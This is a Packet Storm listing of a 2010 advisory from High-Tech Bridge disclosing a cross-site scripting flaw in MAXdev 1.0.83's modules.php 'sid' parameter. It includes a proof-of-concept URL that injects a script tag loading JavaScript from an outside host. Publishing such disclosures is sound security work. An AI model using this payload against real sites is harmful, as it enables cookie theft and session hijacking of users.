MAXdev 1.0.83 Cross Site Scripting

2010-08-24T00:00:00
ID PACKETSTORM:92979
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2010-08-24T00:00:00

Description

                                        
                                            `Vulnerability ID: HTB22563  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_maxdev.html  
Product: MAXdev  
Vendor: MAXdev ( http://www.maxdev.it/ )   
Vulnerable Version: 1.0.83 and Probably Prior Versions  
Vendor Notification: 05 August 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "modules.php" script to properly sanitize user-supplied input in "sid" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
http://host/modules.php?op=modload&name=News&file=article&sid=1%22%3E%3Cscript+src=http://www.htbridge.ch/advisory/1.js+a=  
  
Solution: Upgrade to the most recent version  
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